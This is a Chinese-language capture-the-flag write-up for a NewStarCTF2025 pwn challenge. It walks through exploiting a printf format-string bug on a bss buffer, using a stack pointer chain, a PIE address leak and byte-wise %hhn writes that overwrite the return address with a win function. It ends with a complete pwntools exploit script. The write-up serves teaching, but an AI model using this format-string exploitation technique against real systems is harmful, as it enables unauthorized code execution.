加餐~
今天依旧是一道格式化字符串漏洞的题目,题目出自NewStarCTF2025的week5pwn
题目给的提示->
hint:对于常规的栈上格式化字符串漏洞,可以任意构造自己的恶意数据来实现任意地址写,但是对于非栈上变量来说,就无法直接给出目的地址的指针,此时就需要留意栈上残留的内容,看看能不能找到可以利用的点(善用你的gdb)…
先来看看题目逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| undefined8 main(void) { int iVar1; setup(); puts(&DAT_00102048); puts(&DAT_001020c0); do { memset(global_buffer,0,0x100); puts(&DAT_0010210d); #一段嘲讽你的话 read(0,global_buffer,0xff); printf(global_buffer); #xswlhhh iVar1 = strcmp(global_buffer,"end\n"); } while (iVar1 != 0); puts(&DAT_0010211a); return 0; }
|
存在后门函数win
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| void win(void) { FILE *__stream; long in_FS_OFFSET; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); __stream = fopen("/flag","r"); if (__stream == (FILE *)0x0) { exit(1); } fgets(local_58,0x40,__stream); printf(&DAT_00102010,local_58); fclose(__stream); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return; }
|
明显存在格式化字符串漏洞,但是对比bss_got的不同之处在于之前我们输入形如AAAA.%p.%p.%p.%p可以看到A写在哪里以实现任意地址写,这次是bss段上的fmt,因此并没有那么容易任意写,我们看看有哪些可以利用的地方,比如,栈上残留的某个指针?

经过敏锐的观察,不难发现,第6个地址0x7fffffffdda0与第26个地址0x7fffffffde00在栈上存在着某种关系…
0x7fffffffdda0 —▸ 0x7fffffffde00 ◂— 0
怎么理解呢,二者也就是指针的关系
0x7fffffffdda0是一个栈地址,存储着值0x7fffffffde00(即指向这个地址的指针)
0x7fffffffde00是另一个栈地址,这里存储着0
那么就有思路了,我们用逐字节写的方式修改0x7fffffffdda0处的指针,使其指向返回地址(rip)的位置,同理,用逐字节写的方式修改0x7fffffffde00处的值为win函数所在的地址
可能略微有点抽象,但结果就是,返回地址(rip)变为了0x7fffffffdda0,而这又是一个指向0x7fffffffde00的指针,而0x7fffffffde00处的值已经被我们改写为了win,从而获得了flag
真是精妙绝伦啊~
还有一点需要注意的是,程序是pie enabled(区别于ASLR),但是也很明显,可以通过泄露的第一个地址0x555555558060获得pie基址

使用vmmap可以看到pie_base = p1 - 0x4060
那么win = pie_base + win偏移
接下来就来展示一下exp吧…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import *
context.arch = 'amd64' os = 'linux'
p = remote('host',port)
p.recvuntil(b'!\n')
p.recvuntil(b'!\n') p.sendline(b'%p') p_base = int(p.recvline(keepends=False), 16) - 0x004060 log.success(f'p_base -> {hex(p_base)}')
p.recvuntil(b'!\n') p.sendline(b'%p %p %p %p %p %p') rip = int(p.recvline(keepends=False).decode().split(' ')[-1], 16) - 0x98 log.success(f'rip -> {hex(rip)}')
win = p_base + 0x001289 log.success(f'win -> {hex(win)}')
p.recvuntil(b'!\n') p.sendline(f'%{rip%(256*256)}c%6$hn'.encode())
p.recvuntil(b'!\n') p.sendline(f'%{win%256}c%26$hhn'.encode()) win //= 256
p.recvuntil(b'!\n') p.sendline(f'%{rip%256+1}c%6$hhn'.encode())
p.recvuntil(b'!\n') p.sendline(f'%{win%256}c%26$hhn'.encode()) win //= 256
p.recvuntil(b'!\n') p.sendline(f'%{rip%256+2}c%6$hhn'.encode())
p.recvuntil(b'!\n') p.sendline(f'%{win%256}c%26$hhn'.encode()) win //= 256
p.recvuntil(b'!\n') p.sendline(f'%{rip%256+3}c%6$hhn'.encode())
p.recvuntil(b'!\n') p.sendline(f'%{win%256}c%26$hhn'.encode()) win //= 256
p.recvuntil(b'!\n') p.sendline(f'%{rip%256+4}c%6$hhn'.encode())
p.recvuntil(b'!\n') p.sendline(f'%{win%256}c%26$hhn'.encode()) win //= 256
p.recvuntil(b'!\n') p.sendline(f'%{rip%256+5}c%6$hhn'.encode())
p.recvuntil(b'!\n') p.sendline(f'%{win%256}c%26$hhn'.encode())
p.interactive()
|
也是成功拿到flag了~
经过此题,应该能更加深刻地理解指针的本质,希望你能有所收获
感谢阅读…
天天开心…